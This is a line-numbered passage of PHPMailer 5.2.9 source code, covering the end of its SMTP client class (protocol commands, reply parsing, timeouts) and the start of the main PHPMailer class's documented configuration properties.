  7334. * on a single line followed by a <CRLF> with the message headers
  7335. * and the message body being separated by and additional <CRLF>.
  7336. * Implements rfc 821: DATA <CRLF>
  7337. * @param string $msg_data Message data to send
  7338. * @access public
  7339. * @return boolean
  7340. */
  7341. public function data($msg_data)
  7342. {
  7343. //This will use the standard timelimit
  7344. if (!$this->sendCommand('DATA', 'DATA', 354)) {
  7345. return false;
  7346. }
  7347.  
  7348. /* The server is ready to accept data!
  7349. * According to rfc821 we should not send more than 1000 characters on a single line (including the CRLF)
  7350. * so we will break the data up into lines by \r and/or \n then if needed we will break each of those into
  7351. * smaller lines to fit within the limit.
  7352. * We will also look for lines that start with a '.' and prepend an additional '.'.
  7353. * NOTE: this does not count towards line-length limit.
  7354. */
  7355.  
  7356. // Normalize line breaks before exploding
  7357. $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));
  7358.  
  7359. /* To distinguish between a complete RFC822 message and a plain message body, we check if the first field
  7360. * of the first line (':' separated) does not contain a space then it _should_ be a header and we will
  7361. * process all lines before a blank line as headers.
  7362. */
  7363.  
  7364. $field = substr($lines[0], 0, strpos($lines[0], ':'));
  7365. $in_headers = false;
  7366. if (!empty($field) && strpos($field, ' ') === false) {
  7367. $in_headers = true;
  7368. }
  7369.  
  7370. foreach ($lines as $line) {
  7371. $lines_out = array();
  7372. if ($in_headers and $line == '') {
  7373. $in_headers = false;
  7374. }
  7375. //We need to break this line up into several smaller lines
  7376. //This is a small micro-optimisation: isset($str[$len]) is equivalent to (strlen($str) > $len)
  7377. while (isset($line[self::MAX_LINE_LENGTH])) {
  7378. //Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on
  7379. //so as to avoid breaking in the middle of a word
  7380. $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
  7381. if (!$pos) { //Deliberately matches both false and 0
  7382. //No nice break found, add a hard break
  7383. $pos = self::MAX_LINE_LENGTH - 1;
  7384. $lines_out[] = substr($line, 0, $pos);
  7385. $line = substr($line, $pos);
  7386. } else {
  7387. //Break at the found point
  7388. $lines_out[] = substr($line, 0, $pos);
  7389. //Move along by the amount we dealt with
  7390. $line = substr($line, $pos + 1);
  7391. }
  7392. //If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1
  7393. if ($in_headers) {
  7394. $line = "\t" . $line;
  7395. }
  7396. }
  7397. $lines_out[] = $line;
  7398.  
  7399. //Send the lines to the server
  7400. foreach ($lines_out as $line_out) {
  7401. //RFC2821 section 4.5.2
  7402. if (!empty($line_out) and $line_out[0] == '.') {
  7403. $line_out = '.' . $line_out;
  7404. }
  7405. $this->client_send($line_out . self::CRLF);
  7406. }
  7407. }
  7408.  
  7409. //Message data has been sent, complete the command
  7410. //Increase timelimit for end of DATA command
  7411. $savetimelimit = $this->Timelimit;
  7412. $this->Timelimit = $this->Timelimit * 2;
  7413. $result = $this->sendCommand('DATA END', '.', 250);
  7414. //Restore timelimit
  7415. $this->Timelimit = $savetimelimit;
  7416. return $result;
  7417. }
  7418.  
  7419. /**
  7420. * Send an SMTP HELO or EHLO command.
  7421. * Used to identify the sending server to the receiving server.
  7422. * This makes sure that client and server are in a known state.
  7423. * Implements RFC 821: HELO <SP> <domain> <CRLF>
  7424. * and RFC 2821 EHLO.
  7425. * @param string $host The host name or IP to connect to
  7426. * @access public
  7427. * @return boolean
  7428. */
  7429. public function hello($host = '')
  7430. {
  7431. //Try extended hello first (RFC 2821)
  7432. return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
  7433. }
  7434.  
  7435. /**
  7436. * Send an SMTP HELO or EHLO command.
  7437. * Low-level implementation used by hello()
  7438. * @see hello()
  7439. * @param string $hello The HELO string
  7440. * @param string $host The hostname to say we are
  7441. * @access protected
  7442. * @return boolean
  7443. */
  7444. protected function sendHello($hello, $host)
  7445. {
  7446. $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
  7447. $this->helo_rply = $this->last_reply;
  7448. if ($noerror) {
  7449. $this->parseHelloFields($hello);
  7450. } else {
  7451. $this->server_caps = null;
  7452. }
  7453. return $noerror;
  7454. }
  7455.  
  7456. /**
  7457. * Parse a reply to HELO/EHLO command to discover server extensions.
  7458. * In case of HELO, the only parameter that can be discovered is a server name.
  7459. * @access protected
  7460. * @param string $type - 'HELO' or 'EHLO'
  7461. */
  7462. protected function parseHelloFields($type)
  7463. {
  7464. $this->server_caps = array();
  7465. $lines = explode("\n", $this->last_reply);
  7466. foreach ($lines as $n => $s) {
  7467. $s = trim(substr($s, 4));
  7468. if (!$s) {
  7469. continue;
  7470. }
  7471. $fields = explode(' ', $s);
  7472. if ($fields) {
  7473. if (!$n) {
  7474. $name = $type;
  7475. $fields = $fields[0];
  7476. } else {
  7477. $name = array_shift($fields);
  7478. if ($name == 'SIZE') {
  7479. $fields = ($fields) ? $fields[0] : 0;
  7480. }
  7481. }
  7482. $this->server_caps[$name] = ($fields ? $fields : true);
  7483. }
  7484. }
  7485. }
  7486.  
  7487. /**
  7488. * Send an SMTP MAIL command.
  7489. * Starts a mail transaction from the email address specified in
  7490. * $from. Returns true if successful or false otherwise. If True
  7491. * the mail transaction is started and then one or more recipient
  7492. * commands may be called followed by a data command.
  7493. * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  7494. * @param string $from Source address of this message
  7495. * @access public
  7496. * @return boolean
  7497. */
  7498. public function mail($from)
  7499. {
  7500. $useVerp = ($this->do_verp ? ' XVERP' : '');
  7501. return $this->sendCommand(
  7502. 'MAIL FROM',
  7503. 'MAIL FROM:<' . $from . '>' . $useVerp,
  7504. 250
  7505. );
  7506. }
  7507.  
  7508. /**
  7509. * Send an SMTP QUIT command.
  7510. * Closes the socket if there is no error or the $close_on_error argument is true.
  7511. * Implements from rfc 821: QUIT <CRLF>
  7512. * @param boolean $close_on_error Should the connection close if an error occurs?
  7513. * @access public
  7514. * @return boolean
  7515. */
  7516. public function quit($close_on_error = true)
  7517. {
  7518. $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
  7519. $err = $this->error; //Save any error
  7520. if ($noerror or $close_on_error) {
  7521. $this->close();
  7522. $this->error = $err; //Restore any error from the quit command
  7523. }
  7524. return $noerror;
  7525. }
  7526.  
  7527. /**
  7528. * Send an SMTP RCPT command.
  7529. * Sets the TO argument to $toaddr.
  7530. * Returns true if the recipient was accepted false if it was rejected.
  7531. * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  7532. * @param string $toaddr The address the message is being sent to
  7533. * @access public
  7534. * @return boolean
  7535. */
  7536. public function recipient($toaddr)
  7537. {
  7538. return $this->sendCommand(
  7539. 'RCPT TO',
  7540. 'RCPT TO:<' . $toaddr . '>',
  7541. array(250, 251)
  7542. );
  7543. }
  7544.  
  7545. /**
  7546. * Send an SMTP RSET command.
  7547. * Abort any transaction that is currently in progress.
  7548. * Implements rfc 821: RSET <CRLF>
  7549. * @access public
  7550. * @return boolean True on success.
  7551. */
  7552. public function reset()
  7553. {
  7554. return $this->sendCommand('RSET', 'RSET', 250);
  7555. }
  7556.  
  7557. /**
  7558. * Send a command to an SMTP server and check its return code.
  7559. * @param string $command The command name - not sent to the server
  7560. * @param string $commandstring The actual command to send
  7561. * @param integer|array $expect One or more expected integer success codes
  7562. * @access protected
  7563. * @return boolean True on success.
  7564. */
  7565. protected function sendCommand($command, $commandstring, $expect)
  7566. {
  7567. if (!$this->connected()) {
  7568. $this->error = array(
  7569. 'error' => "Called $command without being connected"
  7570. );
  7571. return false;
  7572. }
  7573. $this->client_send($commandstring . self::CRLF);
  7574.  
  7575. $this->last_reply = $this->get_lines();
  7576. // Fetch SMTP code and possible error code explanation
  7577. $matches = array();
  7578. if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) {
  7579. $code = $matches[1];
  7580. $code_ex = (count($matches) > 2 ? $matches[2] : null);
  7581. // Cut off error code from each response line
  7582. $detail = preg_replace(
  7583. "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m",
  7584. '',
  7585. $this->last_reply
  7586. );
  7587. } else { // Fall back to simple parsing if regex fails
  7588. $code = substr($this->last_reply, 0, 3);
  7589. $code_ex = null;
  7590. $detail = substr($this->last_reply, 4);
  7591. }
  7592.  
  7593. $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
  7594.  
  7595. if (!in_array($code, (array)$expect)) {
  7596. $this->error = array(
  7597. 'error' => "$command command failed",
  7598. 'smtp_code' => $code,
  7599. 'smtp_code_ex' => $code_ex,
  7600. 'detail' => $detail
  7601. );
  7602. $this->edebug(
  7603. 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
  7604. self::DEBUG_CLIENT
  7605. );
  7606. return false;
  7607. }
  7608.  
  7609. $this->error = array();
  7610. return true;
  7611. }
  7612.  
  7613. /**
  7614. * Send an SMTP SAML command.
  7615. * Starts a mail transaction from the email address specified in $from.
  7616. * Returns true if successful or false otherwise. If True
  7617. * the mail transaction is started and then one or more recipient
  7618. * commands may be called followed by a data command. This command
  7619. * will send the message to the users terminal if they are logged
  7620. * in and send them an email.
  7621. * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  7622. * @param string $from The address the message is from
  7623. * @access public
  7624. * @return boolean
  7625. */
  7626. public function sendAndMail($from)
  7627. {
  7628. return $this->sendCommand('SAML', "SAML FROM:$from", 250);
  7629. }
  7630.  
  7631. /**
  7632. * Send an SMTP VRFY command.
  7633. * @param string $name The name to verify
  7634. * @access public
  7635. * @return boolean
  7636. */
  7637. public function verify($name)
  7638. {
  7639. return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));
  7640. }
  7641.  
  7642. /**
  7643. * Send an SMTP NOOP command.
  7644. * Used to keep keep-alives alive, doesn't actually do anything
  7645. * @access public
  7646. * @return boolean
  7647. */
  7648. public function noop()
  7649. {
  7650. return $this->sendCommand('NOOP', 'NOOP', 250);
  7651. }
  7652.  
  7653. /**
  7654. * Send an SMTP TURN command.
  7655. * This is an optional command for SMTP that this class does not support.
  7656. * This method is here to make the RFC821 Definition complete for this class
  7657. * and _may_ be implemented in future
  7658. * Implements from rfc 821: TURN <CRLF>
  7659. * @access public
  7660. * @return boolean
  7661. */
  7662. public function turn()
  7663. {
  7664. $this->error = array(
  7665. 'error' => 'The SMTP TURN command is not implemented'
  7666. );
  7667. $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
  7668. return false;
  7669. }
  7670.  
  7671. /**
  7672. * Send raw data to the server.
  7673. * @param string $data The data to send
  7674. * @access public
  7675. * @return integer|boolean The number of bytes sent to the server or false on error
  7676. */
  7677. public function client_send($data)
  7678. {
  7679. $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
  7680. return fwrite($this->smtp_conn, $data);
  7681. }
  7682.  
  7683. /**
  7684. * Get the latest error.
  7685. * @access public
  7686. * @return array
  7687. */
  7688. public function getError()
  7689. {
  7690. return $this->error;
  7691. }
  7692.  
  7693. /**
  7694. * Get SMTP extensions available on the server
  7695. * @access public
  7696. * @return array|null
  7697. */
  7698. public function getServerExtList()
  7699. {
  7700. return $this->server_caps;
  7701. }
  7702.  
  7703. /**
  7704. * A multipurpose method
  7705. * The method works in three ways, dependent on argument value and current state
  7706. * 1. HELO/EHLO was not sent - returns null and set up $this->error
  7707. * 2. HELO was sent
  7708. * $name = 'HELO': returns server name
  7709. * $name = 'EHLO': returns boolean false
  7710. * $name = any string: returns null and set up $this->error
  7711. * 3. EHLO was sent
  7712. * $name = 'HELO'|'EHLO': returns server name
  7713. * $name = any string: if extension $name exists, returns boolean True
  7714. * or its options. Otherwise returns boolean False
  7715. * In other words, one can use this method to detect 3 conditions:
  7716. * - null returned: handshake was not or we don't know about ext (refer to $this->error)
  7717. * - false returned: the requested feature exactly not exists
  7718. * - positive value returned: the requested feature exists
  7719. * @param string $name Name of SMTP extension or 'HELO'|'EHLO'
  7720. * @return mixed
  7721. */
  7722. public function getServerExt($name)
  7723. {
  7724. if (!$this->server_caps) {
  7725. $this->error = array('No HELO/EHLO was sent');
  7726. return null;
  7727. }
  7728.  
  7729. // the tight logic knot ;)
  7730. if (!array_key_exists($name, $this->server_caps)) {
  7731. if ($name == 'HELO') {
  7732. return $this->server_caps['EHLO'];
  7733. }
  7734. if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) {
  7735. return false;
  7736. }
  7737. $this->error = array('HELO handshake was used. Client knows nothing about server extensions');
  7738. return null;
  7739. }
  7740.  
  7741. return $this->server_caps[$name];
  7742. }
  7743.  
  7744. /**
  7745. * Get the last reply from the server.
  7746. * @access public
  7747. * @return string
  7748. */
  7749. public function getLastReply()
  7750. {
  7751. return $this->last_reply;
  7752. }
  7753.  
  7754. /**
  7755. * Read the SMTP server's response.
  7756. * Either before eof or socket timeout occurs on the operation.
  7757. * With SMTP we can tell if we have more lines to read if the
  7758. * 4th character is '-' symbol. If it is a space then we don't
  7759. * need to read anything else.
  7760. * @access protected
  7761. * @return string
  7762. */
  7763. protected function get_lines()
  7764. {
  7765. // If the connection is bad, give up straight away
  7766. if (!is_resource($this->smtp_conn)) {
  7767. return '';
  7768. }
  7769. $data = '';
  7770. $endtime = 0;
  7771. stream_set_timeout($this->smtp_conn, $this->Timeout);
  7772. if ($this->Timelimit > 0) {
  7773. $endtime = time() + $this->Timelimit;
  7774. }
  7775. while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
  7776. $str = @fgets($this->smtp_conn, 515);
  7777. $this->edebug("SMTP -> get_lines(): \$data was \"$data\"", self::DEBUG_LOWLEVEL);
  7778. $this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL);
  7779. $data .= $str;
  7780. $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
  7781. // If 4th character is a space, we are done reading, break the loop, micro-optimisation over strlen
  7782. if ((isset($str[3]) and $str[3] == ' ')) {
  7783. break;
  7784. }
  7785. // Timed-out? Log and break
  7786. $info = stream_get_meta_data($this->smtp_conn);
  7787. if ($info['timed_out']) {
  7788. $this->edebug(
  7789. 'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)',
  7790. self::DEBUG_LOWLEVEL
  7791. );
  7792. break;
  7793. }
  7794. // Now check if reads took too long
  7795. if ($endtime and time() > $endtime) {
  7796. $this->edebug(
  7797. 'SMTP -> get_lines(): timelimit reached ('.
  7798. $this->Timelimit . ' sec)',
  7799. self::DEBUG_LOWLEVEL
  7800. );
  7801. break;
  7802. }
  7803. }
  7804. return $data;
  7805. }
  7806.  
  7807. /**
  7808. * Enable or disable VERP address generation.
  7809. * @param boolean $enabled
  7810. */
  7811. public function setVerp($enabled = false)
  7812. {
  7813. $this->do_verp = $enabled;
  7814. }
  7815.  
  7816. /**
  7817. * Get VERP address generation mode.
  7818. * @return boolean
  7819. */
  7820. public function getVerp()
  7821. {
  7822. return $this->do_verp;
  7823. }
  7824.  
  7825. /**
  7826. * Set debug output method.
  7827. * @param string|callable $method The name of the mechanism to use for debugging output, or a callable to handle it.
  7828. */
  7829. public function setDebugOutput($method = 'echo')
  7830. {
  7831. $this->Debugoutput = $method;
  7832. }
  7833.  
  7834. /**
  7835. * Get debug output method.
  7836. * @return string
  7837. */
  7838. public function getDebugOutput()
  7839. {
  7840. return $this->Debugoutput;
  7841. }
  7842.  
  7843. /**
  7844. * Set debug output level.
  7845. * @param integer $level
  7846. */
  7847. public function setDebugLevel($level = 0)
  7848. {
  7849. $this->do_debug = $level;
  7850. }
  7851.  
  7852. /**
  7853. * Get debug output level.
  7854. * @return integer
  7855. */
  7856. public function getDebugLevel()
  7857. {
  7858. return $this->do_debug;
  7859. }
  7860.  
  7861. /**
  7862. * Set SMTP timeout.
  7863. * @param integer $timeout
  7864. */
  7865. public function setTimeout($timeout = 0)
  7866. {
  7867. $this->Timeout = $timeout;
  7868. }
  7869.  
  7870. /**
  7871. * Get SMTP timeout.
  7872. * @return integer
  7873. */
  7874. public function getTimeout()
  7875. {
  7876. return $this->Timeout;
  7877. }
  7878. }
  7879.  
  7880. ?>
  7881. <?php
  7882. /**
  7883. * PHPMailer - PHP email creation and transport class.
  7884. * PHP Version 5
  7885. * @package PHPMailer
  7886. * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
  7887. * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
  7888. * @author Jim Jagielski (jimjag) <m>
  7889. * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
  7890. * @author Brent R. Matzelle (original founder)
  7891. * @copyright 2012 - 2014 Marcus Bointon
  7892. * @copyright 2010 - 2012 Jim Jagielski
  7893. * @copyright 2004 - 2009 Andy Prevost
  7894. * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
  7895. * @note This program is distributed in the hope that it will be useful - WITHOUT
  7896. * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
  7897. * FITNESS FOR A PARTICULAR PURPOSE.
  7898. */
  7899.  
  7900. /**
  7901. * PHPMailer - PHP email creation and transport class.
  7902. * @package PHPMailer
  7903. * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
  7904. * @author Jim Jagielski (jimjag) <>
  7905. * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
  7906. * @author Brent R. Matzelle (original founder)
  7907. */
  7908. class PHPMailer
  7909. {
  7910. /**
  7911. * The PHPMailer Version number.
  7912. * @type string
  7913. */
  7914. public $Version = '5.2.9';
  7915.  
  7916. /**
  7917. * Email priority.
  7918. * Options: 1 = High, 3 = Normal, 5 = low.
  7919. * @type integer
  7920. */
  7921. public $Priority = 3;
  7922.  
  7923. /**
  7924. * The character set of the message.
  7925. * @type string
  7926. */
  7927. public $CharSet = 'iso-8859-1';
  7928.  
  7929. /**
  7930. * The MIME Content-type of the message.
  7931. * @type string
  7932. */
  7933. public $ContentType = 'text/plain';
  7934.  
  7935. /**
  7936. * The message encoding.
  7937. * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
  7938. * @type string
  7939. */
  7940. public $Encoding = '8bit';
  7941.  
  7942. /**
  7943. * Holds the most recent mailer error message.
  7944. * @type string
  7945. */
  7946. public $ErrorInfo = '';
  7947.  
  7948. /**
  7949. * The From email address for the message.
  7950. * @type string
  7951. */
  7952. public $From = 'root@localhost';
  7953.  
  7954. /**
  7955. * The From name of the message.
  7956. * @type string
  7957. */
  7958. public $FromName = 'Root User';
  7959.  
  7960. /**
  7961. * The Sender email (Return-Path) of the message.
  7962. * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  7963. * @type string
  7964. */
  7965. public $Sender = '';
  7966.  
  7967. /**
  7968. * The Return-Path of the message.
  7969. * If empty, it will be set to either From or Sender.
  7970. * @type string
  7971. * @deprecated Email senders should never set a return-path header;
  7972. * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
  7973. * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
  7974. */
  7975. public $ReturnPath = '';
  7976.  
  7977. /**
  7978. * The Subject of the message.
  7979. * @type string
  7980. */
  7981. public $Subject = '';
  7982.  
  7983. /**
  7984. * An HTML or plain text message body.
  7985. * If HTML then call isHTML(true).
  7986. * @type string
  7987. */
  7988. public $Body = '';
  7989.  
  7990. /**
  7991. * The plain-text message body.
  7992. * This body can be read by mail clients that do not have HTML email
  7993. * capability such as mutt & Eudora.
  7994. * Clients that can read HTML will view the normal Body.
  7995. * @type string
  7996. */
  7997. public $AltBody = '';
  7998.  
  7999. /**
  8000. * An iCal message part body.
  8001. * Only supported in simple alt or alt_inline message types
  8002. * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
  8003. * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
  8004. * @link http://kigkonsult.se/iCalcreator/
  8005. * @type string
  8006. */
  8007. public $Ical = '';
  8008.  
  8009. /**
  8010. * The complete compiled MIME message body.
  8011. * @access protected
  8012. * @type string
  8013. */
  8014. protected $MIMEBody = '';
  8015.  
  8016. /**
  8017. * The complete compiled MIME message headers.
  8018. * @type string
  8019. * @access protected
  8020. */
  8021. protected $MIMEHeader = '';
  8022.  
  8023. /**
  8024. * Extra headers that createHeader() doesn't fold in.
  8025. * @type string
  8026. * @access protected
  8027. */
  8028. protected $mailHeader = '';
  8029.  
  8030. /**
  8031. * Word-wrap the message body to this number of chars.
  8032. * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
  8033. * @type integer
  8034. */
  8035. public $WordWrap = 0;
  8036.  
  8037. /**
  8038. * Which method to use to send mail.
  8039. * Options: "mail", "sendmail", or "smtp".
  8040. * @type string
  8041. */
  8042. public $Mailer = 'mail';
  8043.  
  8044. /**
  8045. * The path to the sendmail program.
  8046. * @type string
  8047. */
  8048. public $Sendmail = '/usr/sbin/sendmail';
  8049.  
  8050. /**
  8051. * Whether mail() uses a fully sendmail-compatible MTA.
  8052. * One which supports sendmail's "-oi -f" options.
  8053. * @type boolean
  8054. */
  8055. public $UseSendmailOptions = true;
  8056.  
  8057. /**
  8058. * Path to PHPMailer plugins.
  8059. * Useful if the SMTP class is not in the PHP include path.
  8060. * @type string
  8061. * @deprecated Should not be needed now there is an autoloader.
  8062. */
  8063. public $PluginDir = '';
  8064.  
  8065. /**
  8066. * The email address that a reading confirmation should be sent to.
  8067. * @type string
  8068. */
  8069. public $ConfirmReadingTo = '';
  8070.  
  8071. /**
  8072. * The hostname to use in Message-Id and Received headers
  8073. * and as default HELO string.
  8074. * If empty, the value returned
  8075. * by SERVER_NAME is used or 'localhost.localdomain'.
  8076. * @type string
  8077. */
  8078. public $Hostname = '';
  8079.  
  8080. /**
  8081. * An ID to be used in the Message-Id header.
  8082. * If empty, a unique id will be generated.
  8083. * @type string
  8084. */
  8085. public $MessageID = '';
  8086.  
  8087. /**
  8088. * The message Date to be used in the Date header.
  8089. * If empty, the current date will be added.
  8090. * @type string
  8091. */
  8092. public $MessageDate = '';
  8093.  
  8094. /**
  8095. * SMTP hosts.
  8096. * Either a single hostname or multiple semicolon-delimited hostnames.
  8097. * You can also specify a different port
  8098. * for each host by using this format: [hostname:port]
  8099. * (e.g. "smtp1.example.com:25;smtp2.example.com").
  8100. * You can also specify encryption type, for example:
  8101. * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
  8102. * Hosts will be tried in order.
  8103. * @type string
  8104. */
  8105. public $Host = 'localhost';
  8106.  
  8107. /**
  8108. * The default SMTP server port.
  8109. * @type integer
  8110. * @TODO Why is this needed when the SMTP class takes care of it?
  8111. */
  8112. public $Port = 25;
  8113.  
  8114. /**
  8115. * The SMTP HELO of the message.
  8116. * Default is $Hostname.
  8117. * @type string
  8118. * @see PHPMailer::$Hostname
  8119. */
  8120. public $Helo = '';
  8121.  
  8122. /**
  8123. * The secure connection prefix.
  8124. * Options: "", "ssl" or "tls"
  8125. * @type string
  8126. */
  8127. public $SMTPSecure = '';
  8128.  
  8129. /**
  8130. * Whether to use SMTP authentication.
  8131. * Uses the Username and Password properties.
  8132. * @type boolean
  8133. * @see PHPMailer::$Username
  8134. * @see PHPMailer::$Password
  8135. */
  8136. public $SMTPAuth = false;
  8137.  
  8138. /**
  8139. * SMTP username.
  8140. * @type string
  8141. */
  8142. public $Username = '';
  8143.  
  8144. /**
  8145. * SMTP password.
  8146. * @type string
  8147. */
  8148. public $Password = '';
  8149.  
  8150. /**
  8151. * SMTP auth type.
  8152. * Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5
  8153. * @type string
  8154. */
  8155. public $AuthType = '';
  8156.  
  8157. /**
  8158. * SMTP realm.
  8159. * Used for NTLM auth
  8160. * @type string
  8161. */
  8162. public $Realm = '';
  8163.  
  8164. /**
  8165. * SMTP workstation.
  8166. * Used for NTLM auth
  8167. * @type string
  8168. */
  8169. public $Workstation = '';
  8170.  
  8171. /**
  8172. * The SMTP server timeout in seconds.
  8173. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
  8174. * @type integer
  8175. */
  8176. public $Timeout = 300;
  8177.  
  8178. /**
  8179. * SMTP class debug output mode.
  8180. * Debug output level.
  8181. * Options:
  8182. * * `0` No output
  8183. * * `1` Commands
  8184. * * `2` Data and commands
  8185. * * `3` As 2 plus connection status
  8186. * * `4` Low-level data output
  8187. * @type integer
  8188. * @see SMTP::$do_debug
  8189. */
  8190. public $SMTPDebug = 0;
  8191.  
  8192. /**
  8193. * How to handle debug output.
  8194. * Options:
  8195. * * `echo` Output plain-text as-is, appropriate for CLI
  8196. * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
  8197. * * `error_log` Output to error log as configured in php.ini
  8198. *
  8199. * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
  8200. * <code>
  8201. * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
  8202. * </code>
  8203. * @type string|callable
  8204. * @see SMTP::$Debugoutput
  8205. */
  8206. public $Debugoutput = 'echo';
  8207.  
  8208. /**
  8209. * Whether to keep SMTP connection open after each message.
  8210. * If this is set to true then to close the connection
  8211. * requires an explicit call to smtpClose().
  8212. * @type boolean
  8213. */
  8214. public $SMTPKeepAlive = false;
  8215.  
  8216. /**
  8217. * Whether to split multiple to addresses into multiple messages
  8218. * or send them all in one message.
  8219. * @type boolean
  8220. */
  8221. public $SingleTo = false;
  8222.  
  8223. /**
  8224. * Storage for addresses when SingleTo is enabled.
  8225. * @type array
  8226. * @TODO This should really not be public
  8227. */
  8228. public $SingleToArray = array();
  8229.  
  8230. /**
  8231. * Whether to generate VERP addresses on send.
  8232. * Only applicable when sending via SMTP.
  8233. * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
  8234. * @link http://www.postfix.org/VERP_README.html Postfix VERP info
  8235. * @type boolean
  8236. */
  8237. public $do_verp = false;
  8238.  
  8239. /**
  8240. * Whether to allow sending messages with an empty body.
  8241. * @type boolean
  8242. */
  8243. public $AllowEmpty = false;
  8244.  
  8245. /**
  8246. * The default line ending.
  8247. * @note The default remains "\n". We force CRLF where we know
  8248. * it must be used via self::CRLF.
  8249. * @type string
  8250. */
  8251. public $LE = "\n";
  8252.  
  8253. /**
  8254. * DKIM selector.
  8255. * @type string
  8256. */
  8257. public $DKIM_selector = '';
  8258.  
  8259. /**
  8260. * DKIM Identity.
  8261. * Usually the email address used as the source of the email
  8262. * @type string
  8263. */
  8264. public $DKIM_identity = '';
  8265.  
  8266. /**
  8267. * DKIM passphrase.
  8268. * Used if your key is encrypted.
  8269. * @type string
  8270. */
  8271. public $DKIM_passphrase = '';
  8272.  
  8273. /**
  8274. * DKIM signing domain name.
  8275. * @example 'example.com'
  8276. * @type string
  8277. */
  8278. public $DKIM_domain = '';
  8279.  
  8280. /**
  8281. * DKIM private key file path.
  8282. * @type string
  8283. */
  8284. public $DKIM_private = '';
  8285.  
  8286. /**
  8287. * Callback Action function name.
  8288. *
  8289. * The function that handles the result of the send email action.
  8290. * It is called out by send() for each email sent.
  8291. *
  8292. * Value can be any php callable: http://www.php.net/is_callable
  8293. *
  8294. * Parameters:
  8295. * boolean $result result of the send action
  8296. * string $to email address of the recipient
  8297. * string $cc cc email addresses
  8298. * string $bcc bcc email addresses
  8299. * string $subject the subject
  8300. * string $body the email body
  8301. * string $from email address of sender
  8302. * @type string
  8303. */
  8304. public $action_function = '';
  8305.  
  8306. /**
  8307. * What to use in the X-Mailer header.
  8308. * Options: null for default, whitespace for none, or a string to use
  8309. * @type string
  8310. */
  8311. public $XMailer = '';
  8312.  
  8313. /**
  8314. * An instance of the SMTP sender class.
  8315. * @type SMTP
  8316. * @access protected
  8317. */
  8318. protected $smtp = null;
  8319.  
  8320. /**
  8321. * The array of 'to' addresses.
  8322. * @type array
  8323. * @access protected
  8324. */
  8325. protected $to = array();
  8326.  
  8327. /**
  8328. * The array of 'cc' addresses.
  8329. * @type array
  8330. * @access protected
  8331. */
  8332. protected $cc = array();
  8333.  
  8334. /**
  8335. * The array of 'bcc' addresses.
  8336. * @type array
  8337. * @access protected
  8338. */
  8339. protected $bcc = array();
  8340.  
  8341. /**
  8342. * The array of reply-to names and addresses.
  8343. * @type array
  8344. * @access protected
  8345. */
  8346. protected $ReplyTo = array();
  8347.  
  8348. /**
  8349. * An array of all kinds of addresses.
  8350. * Includes all of $to, $cc, $bcc, $replyto
  8351. * @type array
  8352. * @access protected
  8353. */
  8354. protected $all_recipients = array();
  8355.  
  8356. /**
  8357. * The array of attachments.
  8358. * @type array
  8359. * @access protected
  8360. */
  8361. protected $attachment = array();
  8362.  
  8363. /**
  8364. * The array of custom headers.
  8365. * @type array
  8366. * @access protected
  8367. */
  8368. protected $CustomHeader = array();
  8369.  
  8370. /**
  8371. * The most recent Message-ID (including angular brackets).
  8372. * @type string
  8373. * @access protected
  8374. */
  8375. protected $lastMessageID = '';
  8376.  
  8377. /**
  8378. * The message's MIME type.
  8379. * @type string
  8380. * @access protected
  8381. */
  8382. protected $message_type = '';
  8383.  
  8384. /**
  8385. * The array of MIME boundary strings.
  8386. * @type array
  8387. * @access protected
  8388. */
  8389. protected $boundary = array();
  8390.  
  8391. /**
  8392. * The array of available languages.
  8393. * @type array
  8394. * @access protected
  8395. */
  8396. protected $language = array();
  8397.  
  8398. /**
  8399. * The number of errors encountered.
  8400. * @type integer
  8401. * @access protected
  8402. */
  8403. protected $error_count = 0;
  8404.  
  8405. /**
  8406. * The S/MIME certificate file path.
  8407. * @type string
  8408. * @access protected
  8409. */
